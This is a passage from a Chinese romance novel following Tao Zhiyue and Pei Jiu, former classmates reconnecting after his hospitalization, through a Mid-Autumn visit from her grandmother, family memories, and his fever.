他坐着,却被温吞的燥烦煎熬。
风卷起窗帘,镂空的蕾丝边由此蹭过他的手背。
裴究薄唇一抿,直起身向床边移动,背肌在在夕阳金色的残辉中发着光。脚刚触到地面,陌生的冰冷刺激神经,一点疼痛勾了上来。
他没有犹豫,抓起一旁的拄拐,一路向外直到门口。
宽阔明亮的大厅,拄着拐的男人不合时宜地出现。
坐在圆凳上的前台小姐惊得站起来,又本分地没有阻拦,只是用讶异的眼神行注目礼。
马路上熙熙攘攘,喇叭鸣笛在手刹的红灯中响成一片。此时正巧赶上放学的时段,孩子们从学校闸门里涌出来,像一群迫不及待投入池塘的小鸭子。
太久没有这样走在路上,他难得感到了一点无所适从。
人潮涌动之中一切都显得茫然而混乱。
这个世界这么大,上哪找她?
他在原地踱了几步,忽然在混乱中捕捉到一道清晰无比的谈笑声。
转过头去,眼前的景致鲜亮、明丽,世界也兀然安静下来。
红砖铺成的街角,大理石砌成的喷泉池正跃动着水花,边上独立着两个人。
夕阳将最后的柔光燃烧成薄纱,罩在她的脸侧、身上。女人怀里捧着他今天订的那一大捧如火的玫瑰,被衬得明艳又热烈。
她正和送花的店员聊着什么,眼波流转间盛着一点笑,听到要紧处时,目光又变得专注。
他忍不住叫了她的名字,有点虔诚。
被呼唤的人应声转过来,海藻般的发扬起一个弧度。
她的眼睛微微瞪大,是掩饰不住的惊讶:“你已经能下床了?”
裴究没有回答,心里只有一个念头。
有些着急的几步过去,摇晃着的拄拐被他松手抛开,他长臂一展将她牢牢拥住。
收紧,锁住,裹进身体。连带着晚风也将他们捆绑在一起。
突如其来的熊抱中,陶织悦的身形一僵,手臂伸出悬在空中,迟疑地揽住他。
“怎……怎么了?”她语气又缓又轻。
男人的脑袋在她搭在肩上,很轻地蹭了几下。这几下让她感到心上颤栗而酥松。
“我……我路上碰到送花的小纪,就多讲了几句,没注意时间。”她干巴巴地解释,又拍着怀里那人结实的背。
一声低闷的“嗯”带着胸腔的震动,陶织悦才意识到:他们现在的距离好像有点过于近了。
即使已经过了盛夏,夏日的尾韵还弥漫在这座城市之中。两人的衣料都轻薄而透气,此刻更是紧紧贴在一起。
交换体温,共享心跳。
她连呼吸都放慢了。目之所及是被阳光蒸得绿莹莹的树冠,有流光溢彩的泡泡夹着玩耍的笑声,从不知名的角落浮过来。
这是一个时隔太久太久的拥抱。
*
两人并肩走在林荫大道上,此时太阳已经完全落下。
时近中秋,夜里也有了微微的凉意,路灯温黄的光映得出些柔和。
回医院的路并不长,但两人走得很慢。
“你什么时候能下地的?”
“……这几天。”
陶织悦抛去一个狐疑的眼神,对方偏过头当作没看到。
他拄着拐走得一晃一晃,但步伐很稳,没有丝毫狼狈之感。
陶织悦转回头:“那这是不是说明,你很快就能出院了?”
没人应答,但这也不是疑问句。
这意味着他们的关系脱离了车祸的牵绊,又回到那个看起来互不相欠的原点吧。
陶织悦心上轻松一点,又有些空落。
这大半时间好像做梦一样:幻梦般的重逢、幻梦般的意外、幻梦般的朝夕相处。而当这场梦即将结束的时候,她迫切地想要抓住一点什么。
她很少有这样的冲动,或者说不敢有这样的冲动。
在很久以前,郁阳时常在医院一待就是一天,不回家是普遍的事。
她一个人面对着空旷的家,觉得太安静了。
于是她总问:“妈妈呢?”不同的人给她一样的答案:“在医院。”
跟随在后面的是神圣的医护职责、崇高的职业理想。面对这样宏大的议题,她显得如此渺小。
于是她乖巧闭上嘴,被戴上了“懂事、省心”的漂亮帽子。
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或许她曾经期待过。期待在深夜的走廊灯下出现那个回家的身影,期待在生日的烛火前听到那句祝愿,期待郁阳像其他妈妈一样出现在校门口朝她招手。
这些小小的期待像美丽的泡沫一样,在无数个瞬间诞生,又马上毁灭。
怨恨从阴暗的角落长出来,曾经灼烧过她的心,却在见到郁阳疲惫的细纹后又消散了。
郁阳尽力了。
算了。也没什么。她其实也没那么想要。
直到郁阳到边疆做援边医生,她反而彻底放下了。
原来不期待可以这么轻松。
只要她不想去得到,就没有失去的机会。
这在很长一段时间里,成为了陶织悦的人生信条,像保护脆弱内胆的坚硬盔甲。
但这次不一样了,她想她可以尝试抓住这个美丽的泡沫。
对于过去,如果他能解释,她能释怀,是不是还有新的可能性?
陶织悦的话在心理排演了好几遍,又在嘴里咀嚼了好几遍,终于送到了嘴边:
“你有没有什么话要跟我说?”
男人顿住了脚步。
她感觉胃里有蝴蝶要飞出来,指间攥紧了衣角。
“……什么?”
陶织悦的神情有一瞬间的空白。
她看到了裴究眼里的挣扎和犹豫。
勇气一下子烟消云散,取而代之的是一阵疲惫至极的无力。胃里的蝴蝶变成了泛着锈迹的沉铁,坠得她有点想呕。
她是个胆小鬼。
陶织悦转身就想逃。
裴究看见她眼中闪过不可置信的水光,伸臂去抓她的手腕,力气大得出奇。
陶织悦挣了几下没甩开,只好用力去挠他抓住自己手腕的掌,却没有撼动分毫,反而越收越紧。直到她委屈地叫“痛”,裴究才发现她已经红了眼眶,触电一样撒开她的手。
“对不起,对不起……”他慌忙道歉,陶织悦借着这个机会向另一个方向跑。
手在空中抓了几下,他急着想追过去,然而忘记了自己行动不便的状态,一个踉跄差点摔倒。
拄拐一滑,重重砸在地上,发出响亮的撞击声。
他费力地弯腰去捡,捡了几下都没捡起来,汗珠划过他紧蹙的眉头,落在他剧烈起伏的胸膛上。
一只白净的手握住起那根不锈钢拄拐,提起来,缓缓递到他面前。
他抬头,刚刚转身离开的人正站在他面前。
裴究一双大掌倏地抓住来人的双肩,将她牢牢禁锢在身前。
他不再敢抬头看她,只是用带点颤抖的声音说:“给我一点时间,好不好。”
这近乎恳求的语气,让陶织悦感到一点悲哀和庆幸。
裴究看她不再挣扎,心也渐渐安定下来。他的手掌慢慢向下,托住了陶织悦的手。
干燥而温热的触感像一记镇定剂,喘息也渐渐平息。
一双比他小上几号的手被他小心地捧着,在他低垂的目光中临摹了无数遍。
“陶织悦,谢谢你。”
他轻得几乎听不见的声音散在风里。
“谢谢你,一直没有放弃我。”
8. 外婆
今天是中秋。
陶织悦对这个节日没有什么特殊的感觉,直到路边的广告牌、手机软件上的提醒、通信商短信上的祝福反复提醒她,她才有了那么点真切感。
以往她会待在亚罗卡和聂乐言、猫猫狗狗们待在一起,但今年有些不同。
“你外婆说想你了,非要在中秋这天来找你。老人家嘛,脾气犟得很。织悦,你记得看好外婆,明天我来接外婆回去。先挂了。”
“好,舅舅再见。”
挂了电话,陶织悦揣起手看着面前笑眯眯的小老太太。
外婆更瘦了一些,一头垂到下巴的头发已经白得差不多了。她双手放在膝盖上,坐得很乖巧。
“要是想我了,您可以让舅舅叫我回去,怎么大老远亲自来啊?”陶织悦搬了把凳子,坐在小老太太旁边。
算起来,她们确实已经好几年没见了。
去年过年的时候,她带着团队在祖国的另一头拍片子,因此还爆了一条关于年宴文化的短片。
前年过年的时候,她因为拍摄落水生病了,留下了点后遗症,便留在本市过年,也没有回家。
“外婆来看看我的小织悦,生活过得好不好啊。”小老太太年事已高,声音已有些含糊,但眼睛还是有些许明亮。
她好奇地打量陶织悦的住房,满意地点点头。
“那您来得也太突然了,小织悦什么都没有准备,怎么办?”陶织悦把头轻靠在老人家瘦削的肩头,亲昵地撒娇。
瘦了好多,陶织悦扶着那臂膀,只觉得有些粗硬。
“那带外婆去看看织悦经常待的地方,好不好?”
有点奇怪,有点突兀。但陶织悦还是点了点头。
首当其冲的就是亚罗卡。
陶织悦有些担心那些小家伙们会太过热情。在和聂乐言打了招呼之后,她才带着外婆来到亚罗卡。
一进门,一个黄色的身影像小旋风一样扑上来,当即被手疾眼快的聂乐言抓住。
豆豆在聂乐言怀里倒腾着四条腿,“汪汪”叫了两声。
幸好她们提前预判了某只过于活泼的小狗。
陶织悦松了口气,扶着外婆坐到椅子上。
“外婆,我叫聂乐言,是织悦的大学好友兼合伙人。”聂乐言抱着怀里不安分的柴犬,微笑着向外婆致意。
老人家听到这个名字眼睛一亮:“聂乐言……乐言……哦,织悦在家里提过你的名字。”
她抬手去抓这个闺女的手,拍了拍手心,笑得很和蔼。
“乐言,谢谢你照顾织悦。”
聂乐言受宠若惊地回握住她苍老的手:“织悦也照顾我。”
趁着聂乐言松懈的片刻,豆豆一用力从怀里挣出来。这只精力旺盛的柴犬落到地上,朝着外婆转了一圈,竟然安安静静地趴下了。
陶织悦和聂乐言对视一眼,都有些意外地笑。
一只小团子“喵喵咪咪”地从楼上下来,由于身形太小,只能一步步跳下有点高耸的楼梯。
小米已经长大了不少,和陶织悦刚捡回来的样子已经是截然不同。尾巴竖起来像个毛茸茸的小天线,一身花纹皮毛柔软油亮,如同一只神气的幼年小豹。
它跳上陶织悦的膝盖,挪挪小脚,盘好身体。
外婆伸出苍老的手抚上幼猫柔软的皮草:“织悦,它有点像你以前带回家的一只小猫。”
这句话像一阵风,吹开了陶织悦名为记忆的书页。
陶织悦的家在这座城市北边的另一座城,那里的冬天也比这里冷。
那时候她刚上高一,少女时代慢热的性子使她没有那么快融入这个新群体。小小的一个人背着大大的书包,走在放学的冬夜。
路上有什么东西绊住她的脚。她低头,看见一只小奶猫倒在她的鞋面上。
她蹲下身,伸出一根手指去抚拭那潮湿的毛。
“我没有吃的。”她直截了当地说。
但小猫听不懂她在说什么,只是一味地叫,睁着湿润的眼看她。
一声闷重的落地声在身后响起,她撇过头去,看见一个少年把书包抛下来,正骑在墙头上。
少年也看见了他,两条长腿架在墙上晃悠,又利落地翻身下来,精准地落到花坛的大树后面。
这是她的同班同学——裴究。
还没等她反应过来,又是一阵紧锣密鼓的脚步声,几个西装大汉从远处跑来。
“同学,你刚刚有没有看到一个男生来这里?”
陶织悦迟疑一下,指了指马路对面。那几个大汉谢过她,匆匆向马路对面赶去。
听到人声远去,裴究从花坛里钻出来,头上还顶着几片绿叶。这和他平时在班里一丝不苟、整洁得体的样子很有反差。
“谢谢。”裴究的目光冷静而沉着,在她身上掠过。
这是他们交流的第一句话,没有轰轰烈烈。
说完,裴究抓着书包朝另一个方向去,一点也没有留恋。
突如其来的遇见,像美丽的肥皂泡,消失只在一瞬间。
她也起身就走,那小身影却一摇一摆地跟在她身后,一边发出惨兮兮的叫音。
陶织悦忍着没有回头,步伐也越走越快。
这条路并不长,今天的她却觉得格外难走。
直到把耳边的声音越甩越小,才停下脚步。
清寒的空气灌入鼻腔,激得她慢慢平静下来。灯光穿过光秃秃的树杈,在地上投下狰狞、粗粝的阴影。安静的街道上,好像还有稚嫩的余韵在回响。
她不由地冒出些念头,那些念头落地就开始扎根,疯狂地生长蔓延。
在这样的冬夜,幼猫活不过这个冬季吧。
死在冬天,实在是有点不值当。
陶织悦把裹在脖子上的红围巾拢了拢。她转身投入来路的黑暗,深色风衣几乎要融进夜色,只有脖间一抹鲜红在夜色里跃动,像一颗勃勃弹跳的心脏。
再次出现在灯光下,她的围巾间已经多了一只小猫。
“我家没人,你白天要就走哦。”陶织悦不管它能不能听懂,而它也不知道陶织悦在说什么,只是“喵喵”应和着。
陶织悦就顶着黑眼圈把它放回了上学的路上。她揉着被小猫吵了一夜的干涩眼睛,却在放学路上又被这个小尾巴跟上了。
从此,小猫就成了她家的常客。
除了定期来照顾陶织悦的外婆,这只小猫成了屋子里唯一的访客。有时候叼着一朵小野花,有时候叼着一只死老鼠,有时候叼着一条小鱼。
有时候空手而来,陶织悦也不会怪它不懂礼数,那就和她一起吃饭吧。
人类的生命尺度长于猫,时间流速
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似乎也慢于猫。
日子一天天过去,小猫长成大猫,她却没有变成大人。
倒霉的人类被猫弃养了。
步入高中紧张节奏生活的陶织悦越来越忙,长大的猫出现在陶织悦面前的时间也越来越少。直到陶织悦高中毕业,她离开家来到这座城市生活,再也没见到那只猫了。
陶织悦想了想,她甚至没有给它取一个名字。
人生中有太多东西无疾而终,而人们永远无法预知哪一面是最后一面。
“咔嚓”一声响,一点转瞬即逝的白光闪过,把陶织悦拉回现实。
她转头看去,和落地窗外一个大相机的镜头打了个碰面,相机后露出一张久违的、微笑的脸。
“黎扬清?”
黎扬清朝她招招手,从大门进来:“我出来采风,刚好看到这个画面,觉得很美好就忍不住拍下来了,不好意思。”
陶织悦挺直身子去看他递过来的相机屏幕,画面上:一只神气的小猫挺直胸脯站在一个女人的膝上,女人的侧脸被垂下的黑发遮得很柔和,眼神略有点忧郁。
旁边的老人满眼怜爱地看着这两个可爱的小家伙,皱纹里也透出岁月沉淀的平静。
离镜头最远的女人唇边勾起浅浅的笑,注视着面前的好友和爱宠。
色彩明亮温馨,构图丰富且具有故事感,是很成功的抓拍。
陶织悦用带着欣赏的目光看着黎扬清,忍不住夸赞:“你拍得真不错。”
黎扬清有些不好意思地笑了,陶织悦这时候才发现他有两个梨涡。
“我在学校摄影社团担任过社长,现在也在兼职当摄影师。这张照片,等我洗出来后送给你。”
“好啊,谢谢你。”陶织悦是真心实意的感激,她和外婆已经许多年没有合照了,更何况聂乐言也在这张照片里。她重要的人都在这张照片里了。
黎扬清:“那,我们可以合张照吗?”
黎扬清狡猾地抓住这个机会提出请求,让陶织悦没法拒绝。
她也没有理由拒绝。
聂乐言接过相机,一边调整一边笑着:“这怎么用啊?我拍照可差了,拍丑了你们可别怪我。”
屋里的人笑成一团,其乐融融。
黎扬清站在陶织悦旁边,用手背比了个剪刀手。陶织悦对着镜头露出一个灿烂的笑。
咔嚓,定格。
*
亚罗卡对面的露天咖啡店正火热。
西装革履的男人坐在藤椅上,长指攥着一柄秀气的小铁勺。面前是中秋特供的香橘桂花冰酥酪,被戳得乱七八糟,碎陈皮在盘中四散。
始作俑者没有低头看一眼,只是把目光探向不远处起伏的欢景。
原来和其他人待在一起,她可以笑得这么轻松。
那个笑慢慢落下,灼在他心上又烫开一个洞,她的怒、悲还有失望从里面流出来,历历在目。
不知名的东西在胸腔慢慢膨胀,变得尖酸起来,扎得他有些不安。
裴究端起旁边的瓷杯啜了一口,黑咖的苦涩并没有起到安抚情绪的作用,他于是烦躁地倒了一盘方糖进去。
用糖分带来的多巴胺代偿不安和压力是他惯用的手段,从很早之前就是这样了。
手机上的界面还停留在电话通讯录里的她,他两指一捏,熄屏了。
9. 茉莉香
砂锅咕噜咕噜叫起来。掀开盖子,白色的萝卜块和软烂的猪蹄翻滚在浓汤里,点点红枸杞和绿葱丝在汤面舞动,香气扑鼻。
陶织悦用木勺舀起一点,吹吹热气尝了尝,满意地放下。她抓起一旁的白毛巾,包住砂锅边,端起来向餐桌走去。
“汤来了——小心,这个很烫。”
桌边的老人把垫锅纸摆好,砂锅稳稳落桌,热气氤氲。
亮黄的灯光将屋子渲得暖融融,很是温馨。
陶织悦一边盛汤一边有些恍惚。
以前,外婆也是这样做好一桌饭,用温暖的的灯光填满那个空洞一样的家。时隔多年她们又像以前一样坐在一起,外婆却苍老了很多。
桌上的手机振动几下,屏幕亮起显示来电。
陶织悦接起那个电话,向阳台走去。
“不是跟你说我今天请假一天?”她不明所以地问。
“嗯,”男人没有否认,顿了一下才接着说,“中秋快乐。”
“……你也是。”
这个突如其来的电话有点干涩,在中秋的夜里显得尤为局促。
阳台上的茉莉有点蔫,陶织悦顺手拿起一旁的小铲子开始松土。
“我过几天出院,你来吗?”
“来啊,”花盆里的土碎碎地散开,她干得正起劲,“终于把你这尊大佛送出庙了,我还要放两串鞭炮庆祝庆祝。”
他低低地笑了一声,状似不经意地问:“你在家?”
“吃饭。”
“……和谁?”
陶织悦动作一滞,又开始松土。
“反正不是和你……你很在意?”
那边沉默几秒,竟然没有反驳。
“不说了,我还有事。”陶织悦没有在意,利落地挂了电话。
她有更要紧的事:她感觉自己疏于照料的茉莉快死了。
耳边传来“嘟嘟”的提示音,裴究没有说出口的话也咽了下去。
她在和谁吃饭?白天和她待在一起的那个男人?她对那个男人又是什么意思?
他又想起之前接了他电话的男声——很年轻的声线。
这些想法不可控制地一连串冒出来,在脑子里“滴滴滴”地拉起了警报。
他现在才刚刚被委派回国不久,周围那些虎视眈眈的人巴不得他出现纰漏,然后一拥而上将他吃干抹净,尤其是那个远在总部的史密斯汀。
一旦新系列产品的推进不顺利,他的死对头——史密斯汀估计会马上发邮件,向董事会弹劾他的失误,旨在把他从本国调回来,然后替代他坐上亚太地区执行官的位置。
要坐牢这个位置,他才能真正在这里扎下根,才能留在国内,留在……
裴究揉了揉眉心,又开始压力性头疼。
他想起前几天对陶织悦的许诺,以及她脆弱的神情。
他是个自私的人,不希望有其他任何人接近她。
可是他又有什么资格让她留在原地等他?
他必须努力追。
*
陶织悦没有想那么多,只是查手机试图拯救这盆半死不活的茉莉。
叶片干枯灰绿,盆里也落了几片。
外婆缓慢地踏进阳台,看见小孙女正在捯饬花土,眼神也柔和起来。
“你妈妈也很喜欢茉莉。”
陶织悦的背影僵了一瞬,没有接茬。
老人家已经陷入了回忆,念叨着:“以前郁阳也在阳台摆了好几盆茉莉,那一朵朵小茉莉开起来真讨人喜欢,又香又白……”
说到后面,外婆自顾自地哼起茉莉花的曲调。
嘶哑的歌声在阳台缓缓流淌,配合着沙沙作响的铲土声。
老人察觉到孙女冷硬的沉默,只是伸手摸摸她的头。
“织悦,别恨她。”
“她也有自己过不去的难题。”老人的手在她头上轻抚,平常得像小时候哄她午睡。
郁阳是她的孩子,陶织悦也是她的孩子,她心疼她的孩子们。
外婆拾起台上的剪子,“咔嚓”几刀减掉了茉莉的枯枝。
“如果烂掉了,就舍弃掉那些坏的东西。带着这些枯枝,活得会很痛苦。”
“剪掉这些,再晒晒太阳、浇浇水,会重新活过来的。”
有些浑浊的眼在夜色里转了一圈。
“孩子,吃饭吧。”老人放下剪子,先进了屋内。
无声的黑暗里,几滴泪落到花土里,很快陷入缝隙里无人察觉。
陶织悦仰头去看天上那轮圆润的明月。
她怎么会不知道郁阳喜欢茉莉呢,这盆茉莉正是郁阳留下的。
即使她常缺席于陶织悦的生活,那盆茉莉依旧在她的血液里沁香。
她和郁阳不过是一对至亲至疏的母女。
“咔嚓”几下剪去枯枝,这盆茉莉似乎又青翠了起来。她拎起花壶,往盆里浇水。
“织悦,刚刚是谁的电话?我听着声音有些熟悉呢。”老人家想换个话题,转移孙女的注意力。
陶织悦转身进屋:“你不记得他的。”
外婆这些年记性变得很坏,许多事常常记得混乱。
外婆:“怎么会?我听着可耳熟。”
陶织悦坐在餐桌前,端起汤碗吹吹:“裴究——你记得吗?”
老人家转头,眼神也渐渐看远。
正当陶织悦以为这个话题就此揭过的时候,外婆一拍脑袋:
“哎呀,我记得他的。有几次看见他待在楼下,我叫他上来,结果他摇摇头就走了。”
“什么时候的事?”陶织悦端着的碗悬在半空,有点困惑。
“很久之前。”外婆枯瘦的手比划几下。
“高中那会儿,你们不是关系挺好的吗?放学的时候,我在阳台看着你上楼来,他就在楼下站了很久。”
这个“关系挺好”说得很轻盈。外婆笑起来,脸上浮出调皮的皱纹。
“哎呀,别打趣我了。”陶织悦假装不满地把勺子搅来搅去。
心里却荡起点波澜。
外婆不是天天和她待在一起,裴究却能让她留下这么深的印象。
在她没注意到的背后,他就是这样一直望着她的吗?
“外婆虽然年纪大了有点老糊涂,但是关于小织悦的事,外婆可是记得清清楚楚的。”
老人笑着,邀功似的摇摇孙女的手。
“外婆还记得,小裴好像跟你上了同一所大学,你们现在还像之前一样好吗?”
她不知道怎么跟外婆解释这几年的爱恨变迁,只能敷衍着:“还行。”
“那他现在有对象吗?”外婆接着问。
“……没有吧。”
她没有直接问过他的感情状态,但从医院里只有她一个异性来探望的状况,以及姚修话里话外的暗示来看,是没有的。
“织悦,你喜欢他吗?”
握住汤碗的指节蜷起来,无意识地蹭着碗沿。陶织悦盯着汤面飘浮的油花,开始装聋作哑。
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老人看着孙女的表现,知道她在逃避这个话题,也说明是戳到了心坎。
她的孙女从小就独立,人人都知道她是个懂事的孩子。可是老人家知道,这样的代价是压抑自我。
只有离孙女最近的老人,才能听见她心底的声音。
因为不忍心伤害别人,沉默已经是她最大的反抗。
可她希望她的织悦能听听自己的心声。
她希望织悦健康、快乐、幸福。
她希望织悦大声笑、大声哭——就像刚来到这世上的第一声啼哭一样纯粹。
老人的眼蒙上一层水雾,面上带笑。
“外婆不知道织悦上了大学之后遇到了什么人和事。外婆只知道,高中的时候你们俩都互有些意思……现在好像也还有,是不是?”
布满沟壑的温和笑脸贴近陶织悦,像躺在黄土大地上一样踏实安心。
“孩子,人生其实很短的。”老人的眼有些黯淡下来,“一定要知道自己想要什么,然后勇敢去追。即使最后没追到,来路也是在找幸福的路上。”
那双瘦削的手拢住陶织悦的后脑勺,将她的脑袋靠在肩上,轻轻拍着。
陶织悦顺势闭上眼睛,在这道苍老的声线里,渐渐看到两个人。
很多年前的那天,天气晴朗。
放学已是黄昏。暮色中她打开家门,看到了那个许久未见的身影。
她的妈妈,郁阳。
屋里没开灯,只有阳台投进来的天光将画面呈现。
蹲在地上女人身着便服,闻声抬头与她对上目光。地上的行李箱摊开两半,一丝不苟地塞满衣服和日用品。
郁阳突然的出现让她没有预料。
“妈。”她听见自己干涩的声音从喉道里发出来。
郁阳点点头:“我过几天就去援边了,你好好照顾自己。”
她抓着自己的衣角,沉默。
女人忙忙碌碌地做自己的事,很快打包好所有东西。
行李箱扣上,拉起来,立住,抽出拉杆。
郁阳拉着行李箱从陶织悦身侧擦过,走到门外。
却迟迟没有关门声。
陶织悦感受到背后的目光,转过身去。
郁阳站在门口,手搭在门把上,眼神中有些僵硬的游移。
两人像死掉的木桩一样立在两端,对峙着。
陶织悦不知所措地看着即将离开的母亲。
应该拥抱告别吗?应该表示不舍吗?就像那些出远门要离别的家人一样?
郁阳的唇翕动几下,却没有发出声音。
她眼里带上点愧疚,却又被坚定的决绝替代。
门缓缓关上,“咔哒”一声斩断了她们的最后一面。
她们最终还是没有拥抱。
陶织悦脚下生根一般,在原地杵了半晌。回过神来,她朝阳台跑去。
楼门打开,钻出小小的郁阳。她拖着亮灰的行李箱,又隐入半遮半掩的树冠下。
树下似乎还有另一个人。
郁阳的身影顿住,被他吸引了注意。她的脑袋转过去,两人说着什么。
疏密不一的枝叶将两人遮去了大半,陶织悦抻长脖子也没看清。
几分钟后,郁阳离开了。
她的短发被夕阳镀上一层金边,就这样在陶织悦的记忆里留下她最后一个背影。
这时候,另一个人也从树下动身。
身形晃了几下,那人显出面目来——裴究。
10. 发烧
中秋后,天气渐渐转凉,有了几分秋高气爽的意味。
亚罗卡的德文卷毛猫怕冷,总喜欢钻到人的怀里。
陶织悦正盘坐在地上,手中缠着猫爬架的绳圈。
卷福把前爪搭在陶织悦膝盖上,后腿一抬就缩进她的怀里。
卷福的花毛稀疏又短,耳朵大大脸短短,有点像外星来的小猫。
陶织悦安抚地摸摸它的脑袋,唤来小郑帮卷福穿件衣服。
再低头时,刚缠好的绳圈又散了一地。
她叹口气,熟练地绕到猫爬架后面,揪出一只正在捣蛋的小金渐层。
被揪住后勃颈的小猫细细地叫了几声,扭着小身子在空中挣扎,爪子张开像朵小花。
欺负下小猫,陶织悦放走它,直起身子舒展肢体。
今天是裴究出院的日子,但他迟迟没有告诉她几点离开。
现在已经是下午三点。
陶织悦和聂乐言知会一声,出门朝医院方向去,一边拨裴究的电话号码。
电话拨出去,几分钟都没有接通。
一阵拨号的嘟嘟声中,陶织悦穿过黄叶纷落的街道,距离医院越来越近。
凉风一吹,成群的“黄蝴蝶”从枝头倾泻而下,化作一场转瞬即逝的金雨。
她正打算挂断电话,那头终于传来回应。
“……喂。”声音有点沙哑,还带着刚睡醒的粘腻感。
“你刚睡醒?”她抬头看天上的太阳,被透过树冠的光迷了下眼。
根据陶织悦这些天的观察,裴究不像是会一觉睡到下午的人。
这样的行为可以说是反常。
“不小心睡着了。”他简短地解释。
裴究没有过多说,她也不再追问。
陶织悦话锋一转:“你什么时候出院,我送你?”
“不用了。”
“不用了?”陶织悦重复一遍,有点摸不清他打的什么算盘。
中秋那天不是还巴巴地暗示她来陪他吗?
陶织悦停住脚步,已经站在医院不远处了。从这里一眼望去,可以看到医院敞亮的玻璃大门。
“我临时有点事,先离开了。抱歉,下次向你赔罪。”话筒那边的声音说得缓慢,隐约夹着粗喘。
又一阵风来,街道上的落叶飘下来。
她发觉手心有些痒,原来是有片小叶子溜进她握着手机的缝隙。
她把叶子挑出去,手机再贴回耳边,目光不经意地扫过医院大门。
叶雨中,一个高大的人从医院大门里出来,他穿着极简风的黑色毛衣,肩腰线条被勾勒得笔直利落。只是不知道为什么,步伐有些沉重。
随着距离的缩减,渐渐看清那人——正是裴究。
他右手还握着手机,脸颊却呈现出不正常的绯红,眉头也压抑着眼皮。
喉结上下滚,他用手背抵住嘴,又把右手的手机拿远了点,才克制地咳了两下。
抿着的唇翕动,声音从她耳畔的手机里传出来:“没事的话,我先挂了。”
“等一下。”陶织悦打断施法,“你说你已经走了,那你现在在哪?”
裴究没有犹豫:“公司有急事,在处理工作。”
他说话时面色不变,像是手上就拿着几叠文件似的。
陶织悦觉得他一本正经胡说八道的样子有点好笑。
“那你让姚修接下电话,我有事找他。”
“他不在……有事跟我说。”
“那好吧,”陶织悦盯着远处那人,“我今天早上算了个卦,和你有关。”
男人缓慢转了几下眼睛,显然有些反应不过来。
“然后呢?”他有些不解,但还是配合着问。
“卦象说,今天你的幸运方向是南边。”
裴究的步伐停住,侧头朝陶织悦的方向看来,在看清她的时候,表情也呆滞了一秒。
他难得撒一次慌,不料被抓了个正着。
陶织悦挂掉电话,朝他走过去:“在公司?”
地上的落叶堆被她踩得嘎吱响,像一条专门连接两人的小路。
眼见没法再狡辩,裴究只能认栽。
她伸出手去探他额间,被他往后一躲。
这样的举动可以说是此地无银三百两了。
“发烧了,所以躲着我?”陶织悦说着,一边把手掌结结实实地按在他额头上。
果然很烫。
掌下的温度灼灼,触感是硬朗中带着柔软的。
五官再锋利的男人,脸摸起来也是软的。陶织悦无端想到这句话。
裴究垂着的睫毛离她的指间只有几厘米的距离,乖顺地搭着。
陶织悦想起他前几天发了狂一样的工作强度,脸色也带上了点阴沉。
“你又通宵了?”
“没有。”他回答得很快,眼神却因为发烧有些迷离。
“回家,休息。”陶织悦语气认真,下达指示。
“本来也是要回去。”裴究不甘示弱地补上一句。
话音刚落,一辆黑色轿车在他们身边慢慢停下,发动机还没有熄,发出轰轰声。
车窗降下来,驾驶座的姚修探出头来:“裴总,我来接您回公司……”
最后一个“si”只来得及发出一个气音,就被咽下去了。
气氛不对。
姚修默默坐回,又把车窗升上去。
陶织悦皮笑肉不笑:“回公司?”
裴究:……
为了防止裴究过劳死,她决定亲自把人押送回家。
姚修透过后视镜看着两人一前一后坐上后座,手在方向盘上扒拉几下。
待两人坐稳,他开口问:“咱们去……?”
陶织悦没说话,转头盯着裴究,把话语节点抛给他。
被目光钉住的裴究轻叹:“回家。”
姚修如获大赦,当即踩下油门。他转几下方向盘,又抽出只手来按了下身旁的按钮。
一道隔板徐徐升起,很快为后座两人隔出一个私密空间。
这个空间比病房要小的多,简直是连呼吸的空气都交融在一起。
“他还……挺贴心的。”陶织悦憋出一句。
裴究不紧不慢接上一句:“没有你贴心。”
陶织悦冷哼:“我怕你刚出医院又马上住回去,你直接办年卡算了。”
手边碰到一张叠得整齐的毛毯,黑色的,带点绒毛。她抓起来往身边一递。
男人抬手抓住另一端,却被一道力牵制住,接不下来。
陶织悦挺起胸膛:“说谢谢了吗?”
裴究眼角略牵出一点笑意,又很快隐去。
“谢谢。”
听到这句,陶织悦也见好就收,松开手。
男人把毯子展开,简单地盖在身上。
“就知道欺负我。”
这句话很轻,像蜻蜓点水般轻触一下,等旁人想要去确认时,只能望见一池流动的春水。
陶织悦不确定自己是不是真的听到了这么一句,她盯着裴究的表情,没看出任何破绽,好像只是她的幻听。
那毯子在他身上显得可怜,只堪堪盖住半边。他实在撑不住了,力竭地后仰着,将身体全然交给靠背,眼皮紧阖。
不用想也知道很不好受。
陶织悦克制自己不去看他,却止不住思绪纷乱。
按照姚修
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说,他对自己下起狠手没轻没重的。
这次想必是事业上碰到什么重要的节点。
她有些自嘲地笑了。
他总是这样一意孤行,从来不顾别人的意愿。
现在也是,当年也是。
常计较过去的事有几分刻舟求剑的局促,她试着不去回忆。
身旁的人咳了两声,又紧皱着眉偏了偏头,呼吸沉重。
活该,烧死你。
陶织悦发起小脾气,暗自腹诽。
车身缓缓停下,她朝外看了一眼。
等一下。
等一下。
这不是她住的小区吗?
陶织悦拍拍他的肩。
那对长睫抖动,艰难地睁开。他的声音烧得暗哑:“到了?”
陶织悦索性扶住他的手臂,让他借力起身。
站在熟悉的地砖上,陶织悦更加确定了:这就是她住的小区。
“你住这?”她有点不可置信地问。
“要不要把合同拿出来给你看看?”裴究往前走了几步,身形有些不稳。
陶织悦问了他住哪栋楼,离她那栋楼倒也不太远。
只是他也住在这个小区,有点太巧了。
可惜现在不是开口的时机,她怕问得太多给人烧坏了。倒在半路上的话,他那么大一只——陶织悦比划了一下,恐怕是拖不回去的。
同一个小区的楼构造都差不多,尽管有点跌跌撞撞,陶织悦也顺利地带着这个病患上了四楼。
多亏了她拍片时上山下水的锻炼,让她有了超出肉眼体型的力气,扛点重物尚在可控范围内。
密码锁屏倒映出两人贴在一起的身影。裴究的热源源不断地沾上她,让她出了点薄汗。
“密码。”她轻轻肘了一下那人。
“咳……生日。”
陶织悦快速输了几位数字进去。
密码锁发出尖锐的报错声。
不应该啊。她不至于把裴究的生日记错。她不信邪地又输一遍。密码锁再次报错,在楼道里响荡。
“笨蛋。”裴究抬起手,目光在密码锁上聚焦一下,很慢地点。
陶织悦盯着他的慢动作,手指点得郑重,按出来几个数字:她的生日。
原来生日是她的生日。
陶织悦噎住,心上随着门咔哒一声开而被敲了一下。
厚重的门向外旋,一股熟悉的香味也钻进了鼻腔,微微苦涩。
陶织悦眨眨眼,脑子里有个若隐若现的答案露出尾巴,却始终抓不住。
